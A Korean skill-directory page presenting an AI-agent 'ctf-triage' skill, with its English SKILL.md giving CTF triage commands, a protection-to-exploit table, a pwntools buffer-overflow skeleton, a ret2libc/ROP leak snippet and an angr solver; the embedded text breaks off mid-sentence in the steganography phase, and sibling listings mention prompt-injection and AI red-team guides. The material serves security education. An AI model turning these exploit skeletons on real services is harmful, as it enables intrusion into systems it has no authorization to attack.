ctf-triage
하는 일
이 스킬은 캡처 더 플래그(CTF) 도전을 범주로 나누고 맞는 도구를 고르는 방법을 제공합니다. 합법적인 보안 대회의 학생과 참가자를 위한 스킬입니다.
사용하는 경우
- ✓CTF 도전 파일을 붙잡고 있는데 어떤 범주인지 모를 때.
- ✓참가자가 대회에서 바이너리나 암호 퍼즐에 대한 단계별 계획을 원하는 경우.
- ✓학습자가 훈련용 도전으로 보안 기술을 연습하고 싶을 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/reverser/ctf-triage/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“바이너리처럼 보이는 CTF 파일을 받았습니다. 어떤 도전인지 어떻게 알아낼 수 있나요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
이 스킬은 AI에게 먼저 파일 형식과 흔한 서명을 확인한 뒤, 맞는 풀이 단계로 넘어가라고 지시합니다. 참가자가 검사를 건너뛰지 않도록 순서를 지킵니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
CTF Challenge Triage and Solve Methodology
Authorized-use caveat: This skill is for legal CTF competitions, security education, and authorized research environments only. Never apply these techniques to systems without explicit written authorization.
Phase 0 — Initial Triage (always first)
Identify challenge category before touching any tool.
# Universal file fingerprint
file challenge_file
xxd challenge_file | head -4 # magic bytes
strings -n 8 challenge_file | head -30
binwalk challenge_file # embedded files / compression layers
exiftool challenge_file # metadata (images, PDFs)
| Magic bytes / extension | Category | Next phase |
|---|---|---|
| ELF / PE / Mach-O | Pwn / Rev | Phase 1a / 1b |
| PNG / JPG / BMP / WAV | Steganography / Forensics | Phase 2 |
| PCAP / PCAPNG | Network forensics | Phase 3 |
Memory dump (.raw, .vmem, .dmp) |
Memory forensics | Phase 4 |
| Ciphertext / hex blob / base64 | Crypto | Phase 5 |
| Web URL / source | Web | Use exploit/web/ skills |
| Archive / unknown binary | Misc / forensics | Phase 6 |
Phase 1a — Pwn (Binary Exploitation)
Step 1 — Security property enumeration
checksec --file=./binary
# Key outputs: RELRO, Stack Canary, NX, PIE, RUNPATH
| Property | Absent = exploitable via... |
|---|---|
| Stack canary | Stack overflow → ret2libc / ROP |
| NX (No-Execute) | Shellcode injection to stack/heap |
| PIE | Fixed address assumptions for ROP gadgets |
| Full RELRO | GOT overwrite |
Step 2 — Static analysis
objdump -d ./binary | grep -A 20 "<main>"
strings ./binary | grep -E "(flag|CTF|pass|secret|/bin/sh)"
readelf -s ./binary | grep -E "(sym|FUNC)"
# Heavy analysis
ghidra ./binary # or: r2 -A ./binary
Step 3 — Dynamic analysis + offset finding
# GDB with GEF/PEDA
gdb -q ./binary
# Inside GDB:
# pattern create 200
# run < <(python3 -c "print('A'*200)")
# pattern offset $rsp
# Pwntools skeleton
python3 - <<'EOF'
from pwn import *
context.binary = elf = ELF('./binary')
p = process('./binary')
# or: p = remote('challenge.host', 1337)
offset = cyclic_find(0x61616161) # replace with crashing value
payload = b'A' * offset + p64(elf.sym['win'])
p.sendline(payload)
p.interactive()
EOF
Step 4 — ROP chain (when NX set)
ROPgadget --binary ./binary --rop | grep "pop rdi"
# or: ropper -f ./binary --search "pop rdi"
python3 - <<'EOF'
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)
rop.call('puts', [elf.got['puts']])
rop.call(elf.sym['main'])
# Leak libc base, then ret2libc
EOF
Step 5 — Libc identification (remote exploits)
# Identify libc from leaked addresses
python3 -m one_gadget libc.so.6
# or: libc-database lookup
Phase 1b — Reverse Engineering
Step 1 — Static disassembly
# Strings for quick wins (flag format, hardcoded keys)
strings ./binary | grep -iE "(flag\{|ctf\{|[A-Z0-9_]{10,}\})"
# Ghidra headless (no GUI)
analyzeHeadless /tmp/ghidra_proj ChalProj \
-import ./binary \
-postScript PrintASM.java \
-scriptPath /opt/ghidra/Ghidra/Features/Decompiler/ghidra_scripts \
2>/dev/null
# radare2 (faster for known binary formats)
r2 -A ./binary
# Inside r2: afl (functions), pdf @ sym.main, VV (visual)
Step 2 — Anti-debug / packer detection
# Detect packers
upx -t ./binary # UPX packed?
die ./binary # Detect-It-Easy
# If packed: upx -d ./binary
# Entropy analysis (high entropy sections = packed/encrypted)
binwalk -E ./binary
If packed, see reverser/packer-unpacking/SKILL.md.
Step 3 — Symbolic execution for constraint solving
# Angr — solve unknown input to reach target state
python3 - <<'EOF'
import angr, claripy
proj = angr.Project('./binary', auto_load_libs=False)
flag_chars = [claripy.BVS(f'flag_{i}', 8) for i in range(32)]
flag = claripy.Concat(*flag_chars)
state = proj.factory.full_init_state(stdin=flag)
for c in flag_chars:
state.add_constraints(c >= 0x20, c <= 0x7e)
sm = proj.factory.simulation_manager(state)
sm.explore(find=lambda s: b'Correct' in s.posix.dumps(1),
avoid=lambda s: b'Wrong' in s.posix.dumps(1))
if sm.found:
print(sm.found[0].solver.eval(flag, cast_to=bytes))
EOF
Phase 2 — Steganography / Image Forensics
Triage order (fast to slow)
# 1. Metadata
exiftool challenge.
자주 묻는 질문
어떤 종류의 도전을 다루나요?
바이너리 익스플로잇, 리버스 엔지니어링, 암호, 포렌식, 웹, 기타 퍼즐을 다룹니다.
대회 전용인가요?
합법적인 대회, 교육, 허가된 연구를 위한 것입니다.
도전을 대신 풀어 주나요?
방법과 도구를 제공하며, 풀이는 참가자가 직접 합니다.
상세 정보
작성자의 원본 설명
CTF challenge triage and solve methodology — category detection, tool selection, and multi-step solve chains across pwn/rev/crypto/forensics/web/misc.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14162
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.